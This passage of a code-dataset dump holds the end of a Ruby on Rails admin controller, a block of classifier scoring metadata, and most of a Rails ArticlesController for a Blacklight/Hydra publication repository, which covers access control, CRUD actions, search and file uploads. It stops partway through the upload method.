capsule_validations_attributes: capsule_validations_attributes,\n capsule_associations_attributes: capsule_associations_attributes\n )\n end\n\n def capsule_fields_attributes\n [:id, :name_field, :format_field, :_destroy]\n end\n\n def capsule_validations_attributes\n [:id, :field, :validation, :name, :_destroy]\n end\n\n def capsule_associations_attributes\n [:id, :association_type, :capsule_name, :dependention_destroy, :_destroy]\n end\n\n def show_history\n get_history(Capsule)\n end\n\n def get_history(model)\n @activities = PublicActivity::Activity.where(\n trackable_type: model.to_s\n ).order('created_at desc').limit(50)\n end\n end\n end\nend\n", "text_preview": "require_dependency \"keppler_capsules/application_controller\" module KepplerCapsules module Admin # CapsulesController class CapsulesController < ::Admin::AdminController layout 'keppler_capsules/admin/layouts/application' before_action :set", "input_sha256": "a867b775ec1a449dc3ba0179d33820706bf197fc84dec72d1c874d6b737bafea", "text_sha256": "b4aa6975cf7052548d66ad28c00c1eb0e13a8719ed146bcd015ff0cb9a7a8adf", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16089, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.887565496962868, "noise_severity": 0.03002736268742993, "missing_content_severity": 0.011807361585114499, "factual_density": 3.4412391450189435, "pretraining_utility": 0.26542298674031006, "math_density": 0.006658992666932659, "code_density": 3.9030697064116215, "reasoning_density": 0.24891487967276693, "education_level": 2.4387625138583493, "creative_writing_quality": -0.31370898747826237}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.006717796418428068, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9972828968775159, "secondary": 0.9839674782590413, "tertiary": 0.9909773527826184, "structured_records": 0.021030483289180394, "procedural_steps": 0.0019170301023387036, "worked_solution": 0.0006144985986488156, "contextual_dialogue": 4.987482509912547e-06, "content_quality": 0.541377503598258, "noise_severity": 0.9749771977604751, "missing_content_severity": 0.9901605320124046, "factual_density": 0.5343659541824528, "pretraining_utility": 0.4917304695738167, "math_density": 0.9944508394442227, "code_density": 0.9192247553430183, "reasoning_density": 0.7925709336060276, "education_level": 0.5002004608787662, "creative_writing_quality": 0.9994550493867617, "primary_topic": 0.9862097583044588, "secondary_topic": 0.9603305898674236}, "probability_margin": {"primary": 0.9959675575947191, "secondary": 0.9768490737313604, "tertiary": 0.9870645607161295, "education_level": 0.22024013410629667, "creative_writing_quality": 0.9993303659296652, "primary_topic": 0.9817760408463153, "secondary_topic": 0.9481323452448963}, "raw_probabilities": {"primary": {"Academic Writing": 2.147680581342069e-05, "Content Listing": 3.217566260174627e-05, "Creative Writing": 1.2450654670878782e-05, "Customer Support Page": 6.5235426301915355e-06, "Q&A Forum": 7.515464810192531e-06, "Discussion Thread": 5.078520070169624e-06, "Comment Section": 9.434724990621046e-06, "Missing Content": 3.028316496468249e-05, "Knowledge Article": 5.026517489383371e-05, "Legal Notices": 2.7257811955364543e-05, "News Article": 4.054588821443337e-06, "Organizational Announcement": 8.445670851344027e-06, "Nonfiction Writing": 7.284707190057983e-06, "Organizational About Page": 8.682794655227162e-06, "Personal About Page": 9.435818269030759e-06, "Personal Blog": 4.966409972970799e-06, "Product Page": 5.669617154492263e-06, "Spam / Ads": 7.179600390227324e-06, "Structured Data": 0.0007808083162228033, "Technical Writing": 0.9973961095076195, "Transcript / Interview": 8.92712514381678e-06, "Tutorial / How-To Guide": 0.00012334762642123584, "User Reviews": 4.074776986198442e-06, "Other / Unknown": 0.001428551912900341}, "secondary": {"Academic Writing": 0.00011779699568826294, "Content Listing": 0.00032496920181284566, "Creative Writing": 0.00010590442169404281, "Customer Support Page": 5.2560530544702854e-05, "Q&A Forum": 4.113262287869577e-05, "Discussion Thread": 2.928688932162554e-05, "Comment Section": 0.00019247555174809817, "Missing Content": 0.0003898648702827792, "Knowledge Article": 0.0003644619471118501, "Legal Notices": 0.00019292128940632093, "News Article": 6.069547816636453e-05, "Organizational Announcement": 4.70654656684424e-05, "Nonfiction Writing": 4.4358778321535393e-05, "Organizational About Page": 6.969822593443588e-05, "Personal About Page": 5.310144367140129e-05, "Personal Blog": 3.970531601449907e-05, "Product Page": 3.221479583330395e-05, "Spam / Ads": 6.181625748307969e-05, "Structured Data": 0.004525011836197316, "Technical Writing": 0.007786426266887538, "Transcript / Interview": 6.340212741312709e-05, "Tutorial / How-To Guide": 0.0007452543500092877, "User Reviews": 2.437533966258692e-05, "NONE": 0.984635499998248}, "tertiary": {"Academic Writing": 6.544472476208637e-05, "Content Listing": 0.00027728779280501665, "Creative Writing": 6.817389867028062e-05, "Customer Support Page": 3.808271993810039e-05, "Q&A Forum": 2.5808316867185645e-05, "Discussion Thread": 1.9650304031308403e-05, "Comment Section": 0.0001318032296841958, "Missing Content": 0.000467443705666558, "Knowledge Article": 0.00032403545367650215, "Legal Notices": 0.00020291016703921546, "News Article": 4.3952240715528296e-05, "Organizational Announcement": 3.647118407259739e-05, "Nonfiction Writing": 3.771622513300151e-05, "Organizational About Page": 6.414614187455813e-05, "Personal About Page": 3.5413413167404926e-05, "Personal Blog": 2.7362063537625465e-05, "Product Page": 2.704841863569776e-05, "Spam / Ads": 4.530049301723501e-05, "Structured Data": 0.0017907699235651402, "Technical Writing": 0.004288735700546594, "Transcript / Interview": 4.118884408604231e-05, "Tutorial / How-To Guide": 0.0005694157477222334, "User Reviews": 1.854287410988895e-05, "NONE": 0.991353296416676}, "structured_records": {"false": 0.9789695167108196, "true": 0.021030483289180394}, "procedural_steps": {"false": 0.9980829698976613, "true": 0.0019170301023387036}, "worked_solution": {"false": 0.9993855014013512, "true": 0.0006144985986488156}, "contextual_dialogue": {"false": 0.9999950125174901, "true": 4.987482509912547e-06}, "content_quality": {"-2": 0.007956412432611491, "-1": 0.025112663333195895, "0": 0.25729618539538496, "1": 0.4906784925163285, "2": 0.2189562463224792}, "noise_severity": {"0": 0.975138742803817, "1": 0.021247496694762048, "2": 0.002517585290251832, "3": 0.0006400054325125465, "4": 0.00045616977865664527}, "missing_content_severity": {"0": 0.9935049781145734, "1": 0.002787415132671283, "2": 0.002385787841462438, "3": 0.0010389048756537487, "4": 0.0002829140356392742}, "factual_density": {"0": 0.004948681709043121, "1": 0.008794451655712972, "2": 0.08463363208247807, "3": 0.3433155090127891, "4": 0.5583077255399768}, "pretraining_utility": {"-2": 0.012804660234761308, "-1": 0.1466409044160323, "0": 0.4585494679637523, "1": 0.3263367231450431, "2": 0.05566824424041096}, "math_density": {"0": 0.9956425251460227, "1": 0.0033449351668687483, "2": 0.00027416813819119767, "3": 0.00018776497198761655, "4": 0.0005506065769296663}, "code_density": {"0": 0.0002925001179157246, "1": 0.0005304004195280228, "2": 0.011152139730022298, "3": 0.07186481239808651, "4": 0.9161601473344474}, "reasoning_density": {"0": 0.8406433002579461, "1": 0.08615331604849759, "2": 0.06188134275434355, "3": 0.006289285641268361, "4": 0.0050327552979442785}, "education_level": {"none": 0.0013202125983309426, "0": 0.0014409723816129285, "1": 0.007717137708796459, "2": 0.5835003840656385, "3": 0.36326024995934186, "4": 0.04276104328627926}, "creative_writing_quality": {"not_applicable": 0.999545874488968, "-2": 6.732626217454564e-05, "-1": 9.872823675886313e-05, "0": 0.00021550855930280895, "1": 5.420739873677935e-05, "2": 1.835505405868828e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.329421582716224e-05, "Art & Design": 7.060671269893247e-05, "Law & Crime": 3.010236683861516e-05, "Education & Careers": 4.3098579705085496e-05, "Entertainment & Media": 6.441413612520177e-05, "Fashion & Beauty": 2.7496497246788757e-05, "Business, Economics & Finance": 9.428604146420003e-05, "Food & Dining": 3.8536245895679874e-05, "Games & Gaming": 0.002309081042896555, "Electronics & Hardware": 8.885188274561033e-05, "Health, Healthcare & Wellness": 5.736659478150151e-05, "History & Geography": 4.8367167013208066e-05, "Home, Pets & Hobbies": 4.9068038212268736e-05, "Industry & Production": 0.00048697542912688085, "Language, Literature & Philosophy": 4.06661098905692e-05, "Politics & Government": 2.412781171116414e-05, "Religion & Spirituality": 3.56471697382249e-05, "Science, Mathematics & Engineering": 0.0032406905317549726, "Relationships & Community": 1.7592479999686184e-05, "Software Usage & Applications": 0.000492351710910611, "Programming & Software Engineering": 0.9867401522158258, "Sports & Fitness": 8.967788964486201e-05, "Vehicles & Transportation": 0.004964111369510425, "Travel & Tourism": 5.445498394258363e-05, "Other / Uncovered Subject": 0.0004623469880877781, "Unknown / Insufficient Content": 0.0003866357884055577}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003446133121928619, "Art & Design": 0.0004459780727076039, "Law & Crime": 0.00028113217481282005, "Education & Careers": 0.00021927935687895083, "Entertainment & Media": 0.0007332410978122822, "Fashion & Beauty": 0.00014888863578738922, "Business, Economics & Finance": 0.0004126684606332968, "Food & Dining": 0.00012766858233534748, "Games & Gaming": 0.0038434441459210193, "Electronics & Hardware": 0.0002403030136832627, "Health, Healthcare & Wellness": 0.00020918046279497544, "History & Geography": 0.00017084880949664623, "Home, Pets & Hobbies": 0.00015247147526009527, "Industry & Production": 0.0005815602291170676, "Language, Literature & Philosophy": 0.0001162126416307486, "Politics & Government": 0.0001524579529036802, "Religion & Spirituality": 0.00017685221113139413, "Science, Mathematics & Engineering": 0.00544521652986603, "Relationships & Community": 7.603410541116952e-05, "Software Usage & Applications": 0.0022241528439747977, "Programming & Software Engineering": 0.013723991166087877, "Sports & Fitness": 0.0004972488980787214, "Vehicles & Transportation": 0.0058041138135120586, "Travel & Tourism": 0.0001730171766241622, "Other / Uncovered Subject": 0.0018430884203615204, "NONE": 0.9618563364109842}}, "probabilities": {"primary": {"Academic Writing": 2.1476805813420692e-05, "Content Listing": 3.2175662601746274e-05, "Creative Writing": 1.2450654670878785e-05, "Customer Support Page": 6.523542630191537e-06, "Q&A Forum": 7.515464810192533e-06, "Discussion Thread": 5.078520070169625e-06, "Comment Section": 9.434724990621048e-06, "Missing Content": 3.0283164964682496e-05, "Knowledge Article": 5.026517489383372e-05, "Legal Notices": 2.725781195536455e-05, "News Article": 4.054588821443338e-06, "Organizational Announcement": 8.445670851344029e-06, "Nonfiction Writing": 7.284707190057984e-06, "Organizational About Page": 8.682794655227164e-06, "Personal About Page": 9.43581826903076e-06, "Personal Blog": 4.9664099729707995e-06, "Product Page": 5.6696171544922634e-06, "Spam / Ads": 7.179600390227326e-06, "Structured Data": 0.0007808083162228035, "Technical Writing": 0.9973961095076197, "Transcript / Interview": 8.927125143816782e-06, "Tutorial / How-To Guide": 0.00012334762642123587, "User Reviews": 4.0747769861984425e-06, "Other / Unknown": 0.0014285519129003412}, "secondary": {"Academic Writing": 0.00011779699568826294, "Content Listing": 0.00032496920181284566, "Creative Writing": 0.00010590442169404281, "Customer Support Page": 5.2560530544702854e-05, "Q&A Forum": 4.113262287869577e-05, "Discussion Thread": 2.928688932162554e-05, "Comment Section": 0.00019247555174809817, "Missing Content": 0.0003898648702827792, "Knowledge Article": 0.0003644619471118501, "Legal Notices": 0.00019292128940632093, "News Article": 6.069547816636453e-05, "Organizational Announcement": 4.70654656684424e-05, "Nonfiction Writing": 4.4358778321535393e-05, "Organizational About Page": 6.969822593443588e-05, "Personal About Page": 5.310144367140129e-05, "Personal Blog": 3.970531601449907e-05, "Product Page": 3.221479583330395e-05, "Spam / Ads": 6.181625748307969e-05, "Structured Data": 0.004525011836197316, "Technical Writing": 0.007786426266887538, "Transcript / Interview": 6.340212741312709e-05, "Tutorial / How-To Guide": 0.0007452543500092877, "User Reviews": 2.437533966258692e-05, "NONE": 0.984635499998248}, "tertiary": {"Academic Writing": 6.544472476208637e-05, "Content Listing": 0.00027728779280501665, "Creative Writing": 6.817389867028062e-05, "Customer Support Page": 3.808271993810039e-05, "Q&A Forum": 2.5808316867185645e-05, "Discussion Thread": 1.9650304031308403e-05, "Comment Section": 0.0001318032296841958, "Missing Content": 0.000467443705666558, "Knowledge Article": 0.00032403545367650215, "Legal Notices": 0.00020291016703921546, "News Article": 4.3952240715528296e-05, "Organizational Announcement": 3.647118407259739e-05, "Nonfiction Writing": 3.771622513300151e-05, "Organizational About Page": 6.414614187455813e-05, "Personal About Page": 3.5413413167404926e-05, "Personal Blog": 2.7362063537625465e-05, "Product Page": 2.704841863569776e-05, "Spam / Ads": 4.530049301723501e-05, "Structured Data": 0.0017907699235651402, "Technical Writing": 0.004288735700546594, "Transcript / Interview": 4.118884408604231e-05, "Tutorial / How-To Guide": 0.0005694157477222334, "User Reviews": 1.854287410988895e-05, "NONE": 0.991353296416676}, "structured_records": {"false": 0.9789695167108196, "true": 0.021030483289180394}, "procedural_steps": {"false": 0.9980829698976613, "true": 0.0019170301023387036}, "worked_solution": {"false": 0.9993855014013512, "true": 0.0006144985986488156}, "contextual_dialogue": {"false": 0.9999950125174901, "true": 4.987482509912547e-06}, "content_quality": {"-2": 0.007956412432611491, "-1": 0.025112663333195895, "0": 0.25729618539538496, "1": 0.4906784925163285, "2": 0.2189562463224792}, "noise_severity": {"0": 0.975138742803817, "1": 0.021247496694762048, "2": 0.002517585290251832, "3": 0.0006400054325125465, "4": 0.00045616977865664527}, "missing_content_severity": {"0": 0.9935049781145732, "1": 0.0027874151326712825, "2": 0.0023857878414624374, "3": 0.0010389048756537485, "4": 0.00028291403563927413}, "factual_density": {"0": 0.004948681709043121, "1": 0.008794451655712972, "2": 0.08463363208247807, "3": 0.3433155090127891, "4": 0.5583077255399768}, "pretraining_utility": {"-2": 0.012804660234761308, "-1": 0.1466409044160323, "0": 0.4585494679637523, "1": 0.3263367231450431, "2": 0.05566824424041096}, "math_density": {"0": 0.9956425251460228, "1": 0.0033449351668687487, "2": 0.0002741681381911977, "3": 0.00018776497198761657, "4": 0.0005506065769296664}, "code_density": {"0": 0.0002925001179157246, "1": 0.0005304004195280228, "2": 0.011152139730022298, "3": 0.07186481239808651, "4": 0.9161601473344474}, "reasoning_density": {"0": 0.8406433002579462, "1": 0.0861533160484976, "2": 0.06188134275434356, "3": 0.006289285641268362, "4": 0.005032755297944279}, "education_level": {"none": 0.0013202125983309426, "0": 0.0014409723816129285, "1": 0.007717137708796459, "2": 0.5835003840656385, "3": 0.36326024995934186, "4": 0.04276104328627926}, "creative_writing_quality": {"not_applicable": 0.9995458744889684, "-2": 6.732626217454566e-05, "-1": 9.872823675886316e-05, "0": 0.00021550855930280903, "1": 5.420739873677937e-05, "2": 1.8355054058688288e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.329421582716225e-05, "Art & Design": 7.060671269893248e-05, "Law & Crime": 3.0102366838615163e-05, "Education & Careers": 4.30985797050855e-05, "Entertainment & Media": 6.441413612520178e-05, "Fashion & Beauty": 2.749649724678876e-05, "Business, Economics & Finance": 9.428604146420005e-05, "Food & Dining": 3.853624589567988e-05, "Games & Gaming": 0.0023090810428965554, "Electronics & Hardware": 8.885188274561034e-05, "Health, Healthcare & Wellness": 5.7366594781501516e-05, "History & Geography": 4.836716701320807e-05, "Home, Pets & Hobbies": 4.906803821226874e-05, "Industry & Production": 0.0004869754291268809, "Language, Literature & Philosophy": 4.0666109890569206e-05, "Politics & Government": 2.4127811711164143e-05, "Religion & Spirituality": 3.5647169738224906e-05, "Science, Mathematics & Engineering": 0.003240690531754973, "Relationships & Community": 1.7592479999686188e-05, "Software Usage & Applications": 0.0004923517109106111, "Programming & Software Engineering": 0.9867401522158259, "Sports & Fitness": 8.967788964486203e-05, "Vehicles & Transportation": 0.004964111369510426, "Travel & Tourism": 5.445498394258364e-05, "Other / Uncovered Subject": 0.00046234698808777814, "Unknown / Insufficient Content": 0.00038663578840555777}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003446133121928619, "Art & Design": 0.0004459780727076039, "Law & Crime": 0.00028113217481282005, "Education & Careers": 0.00021927935687895083, "Entertainment & Media": 0.0007332410978122822, "Fashion & Beauty": 0.00014888863578738922, "Business, Economics & Finance": 0.0004126684606332968, "Food & Dining": 0.00012766858233534748, "Games & Gaming": 0.0038434441459210193, "Electronics & Hardware": 0.0002403030136832627, "Health, Healthcare & Wellness": 0.00020918046279497544, "History & Geography": 0.00017084880949664623, "Home, Pets & Hobbies": 0.00015247147526009527, "Industry & Production": 0.0005815602291170676, "Language, Literature & Philosophy": 0.0001162126416307486, "Politics & Government": 0.0001524579529036802, "Religion & Spirituality": 0.00017685221113139413, "Science, Mathematics & Engineering": 0.00544521652986603, "Relationships & Community": 7.603410541116952e-05, "Software Usage & Applications": 0.0022241528439747977, "Programming & Software Engineering": 0.013723991166087877, "Sports & Fitness": 0.0004972488980787214, "Vehicles & Transportation": 0.0058041138135120586, "Travel & Tourism": 0.0001730171766241622, "Other / Uncovered Subject": 0.0018430884203615204, "NONE": 0.9618563364109842}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10207, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10207, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:08.742516+00:00", "scoring_key_slot": "primary", "dataset_uid": "4d96e814-d4eb-451c-abb3-f56a48522101", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2e8e950e383eb4ab7c91fbd1c14afcd4789ef73629ed3a6b09f226ba2379a986", "source_metadata": {"uuid": "4d96e814-d4eb-451c-abb3-f56a48522101", "repo_name": "anyelopetit/alejandroyaffe-w", "relative_path": "rockets/keppler_capsules/app/controllers/keppler_capsules/admin/capsules_controller.rb", "category": "WEB", "algo_rel_score": 0.9782892465591431, "quality_score": 5.5113205909729, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2018-10-19T13:04:14.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "f7615b2e158c98f99b84f66bd8fc99e7023f9c01", "size_bytes": 7082, "file_timestamp": 1539955086, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "05c18c4cc3552079429ad408f2cad1a5308ca844"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2018-10-19T13:04:14.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "f7615b2e158c98f99b84f66bd8fc99e7023f9c01", "size_bytes": 7082, "file_timestamp": 1539955086, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "05c18c4cc3552079429ad408f2cad1a5308ca844", "url": "https://github.com/anyelopetit/alejandroyaffe-w/blob/05c18c4cc3552079429ad408f2cad1a5308ca844/rockets/keppler_capsules/app/controllers/keppler_capsules/admin/capsules_controller.rb"}, "gpt4o_tokens": 1608, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.887565496962868, "noise_severity": 0.03002736268742993, "missing_content_severity": 0.0118073615851145, "factual_density": 3.4412391450189435, "pretraining_utility": 0.26542298674031006, "math_density": 0.006658992666932659, "code_density": 3.9030697064116215, "reasoning_density": 0.24891487967276693, "education_level": 2.4387625138583493, "creative_writing_quality": -0.31370898747826237}, "score_applicability": {"education_level": 0.9986797874016691, "creative_writing_quality": 0.0004541255110316855}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/anusharanganathan/oraingest/blob/57ece9ca72da7e06a114961553bbd69d72c3f1ad/app/controllers/articles_controller.rb", "id": "ruby-0-5bb8100b7312841de6376e685e1ba6a9", "text": "# -*- coding: utf-8 -*-\n# Copyright © 2012 The Pennsylvania State University\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# -*- encoding : utf-8 -*-\nrequire 'blacklight/catalog'\nrequire 'blacklight_advanced_search'\n\n# bl_advanced_search 1.2.4 is doing unitialized constant on these because we're calling ParseBasicQ directly\nrequire 'parslet' \nrequire 'parsing_nesting/tree'\n\nrequire \"utils\"\n\nclass ArticlesController < ApplicationController\n before_action :set_article, only: [:show, :edit, :edit_detailed, :update, :destroy, :revoke_permissions]\n include Blacklight::Catalog\n # Extend Blacklight::Catalog with Hydra behaviors (primarily editing).\n include Hydra::Controller::ControllerBehavior\n include BlacklightAdvancedSearch::ParseBasicQ\n include BlacklightAdvancedSearch::Controller\n include Sufia::Controller\n #include Sufia::FilesControllerBehavior\n # Include ORA search logic\n include Ora::Search::Defaults\n include Ora::Search::ViewConfiguration\n include Ora::Search::Facets\n include Ora::Search::IndexFields\n #include Ora::Search::ShowFields\n include Ora::Search::SearchFields\n #include Ora::Search::RequestHandlerDefaults\n include Ora::Search::SortFields\n\n # These before_filters apply the hydra access controls\n #before_filter :enforce_show_permissions, :only=>:show\n before_filter :authenticate_user!, :except => [:show, :citation]\n before_filter :has_access?\n # This applies appropriate access controls to all solr queries\n ArticlesController.solr_search_params_logic += [:add_access_controls_to_solr_params]\n # This filters out objects that you want to exclude from search results, like FileAssets\n ArticlesController.solr_search_params_logic += [:exclude_unwanted_models]\n\n skip_before_filter :default_html_head\n\n # Catch permission errors\n rescue_from Hydra::AccessDenied, CanCan::AccessDenied do |exception|\n if exception.action != :show && exception.action != :index\n redirect_to action: 'show', alert: \"You do not have sufficient privileges to modify this publication record\"\n #redirect_to action: 'show'\n elsif exception.action == :show\n redirect_to publications_path, alert: \"You do not have sufficient privileges to read this publication record\"\n elsif current_user and current_user.persisted?\n redirect_to publications_path, alert: exception.message\n else\n session[\"user_return_to\"] = request.url\n redirect_to new_user_session_url, :alert => exception.message\n #redirect_to new_user_session_url\n end\n end\n\n def index\n redirect_to publications_path\n end\n\n def show\n authorize! :show, params[:id]\n @pid = params[:id]\n @files = contents\n @model = 'article'\n end\n\n def new\n @pid = Sufia::Noid.noidify(SecureRandom.uuid)\n @pid = Sufia::Noid.namespaceize(@pid)\n @article = Article.new\n @files = []\n @model = 'article'\n end\n\n def edit\n authorize! :edit, params[:id]\n unless Sufia.config.next_workflow_status.keys.include?(@article.workflows.first.current_status)\n raise CanCan::AccessDenied.new(\"Not authorized to edit while record is being migrated!\", :read, Article)\n end\n if @article.workflows.first.current_status != \"Draft\" && @article.workflows.first.current_status != \"Referred\"\n authorize! :review, params[:id]\n end\n @pid = params[:id]\n @files = contents\n @model = 'article'\n end\n\n def edit_detailed\n authorize! :edit, params[:id]\n unless Sufia.config.next_workflow_status.keys.include?(@article.workflows.first.current_status)\n raise CanCan::AccessDenied.new(\"Not authorized to edit while record is being migrated!\", :read, Article)\n end\n authorize! :review, params[:id]\n @pid = params[:id]\n @files = contents\n @model = 'article'\n render \"edit_detailed\"\n end\n\n def create\n @pid = params[:pid]\n @article = Article.find_or_create(@pid)\n @article.apply_permissions(current_user) \n if params.has_key?(:files)\n create_from_upload(params)\n elsif params.has_key?(:article)\n add_metadata(params[:article], \"\")\n elsif can? :review, @article\n format.html { render action: 'edit_detailed' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n def update\n @pid = params[:pid]\n redirect_field = \"\"\n if params.has_key?(:redirect_field)\n redirect_field = params[:redirect_field]\n end\n if params.has_key?(:files)\n create_from_upload(params)\n elsif article_params\n add_metadata(params[:article], redirect_field)\n elsif can? :review, @article\n format.html { render action: 'edit_detailed' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n def destroy\n authorize! :destroy, params[:id]\n unless Sufia.config.next_workflow_status.keys.include?(@article.workflows.first.current_status)\n raise CanCan::AccessDenied.new(\"Not authorized to delete while record is being migrated!\", :read, Article)\n end\n if @article.workflows.first.current_status != \"Draft\" && @article.workflows.first.current_status != \"Referred\"\n authorize! :review, params[:id]\n end\n @article.destroy\n respond_to do |format|\n format.html { redirect_to publications_path }\n format.json { head :no_content }\n end\n end\n\n def recent\n if user_signed_in?\n # grab other people's documents\n (_, @recent_documents) = get_search_results(:q =>filter_not_mine,\n :sort=>sort_field, :rows=>5)\n else \n # grab any documents we do not know who you are\n (_, @recent_documents) = get_search_results(:q =>'', :sort=>sort_field, :rows=>5)\n end\n end\n\n def recent_me\n if user_signed_in?\n (_, @recent_user_documents) = get_search_results(:q =>filter_mine,\n :sort=>sort_field, :rows=>50, :fields=>\"*:*\")\n end\n end\n\n def recent_me_draft\n if user_signed_in?\n (_, @articles) = get_search_results(:q =>filter_mine_draft,\n :sort=>sort_field, :rows=>50, :fields=>\"*:*\")\n end\n end\n\n def recent_me_not_draft\n if user_signed_in?\n (_, @submitted_articles) = get_search_results(:q =>filter_mine_not_draft,\n :sort=>sort_field, :rows=>50, :fields=>\"*:*\")\n end\n end\n\n def self.uploaded_field\n# system_create_dtsi\n solr_name('desc_metadata__date_uploaded', :stored_sortable, type: :date)\n end\n\n def self.modified_field\n solr_name('desc_metadata__date_modified', :stored_sortable, type: :date)\n end\n\n def create_from_upload(params)\n # check error condition No files\n return json_error(\"Error! No file to save\") if !params.has_key?(:files)\n file = params[:files].detect {|f| f.respond_to?(:original_filename) }\n if !file\n return json_error \"Error! No file for upload\", 'unknown file', :status => :unprocessable_entity\n elsif (empty_file?(file))\n return json_error \"Error! Zero Length File!\", file.original_filename\n #elsif (!terms_accepted?)\n # return json_error \"You must accept the terms of service!\", file.original_filename\n else\n process_file(file)\n end\n rescue => error\n logger.error \"GenericFilesController::create rescued 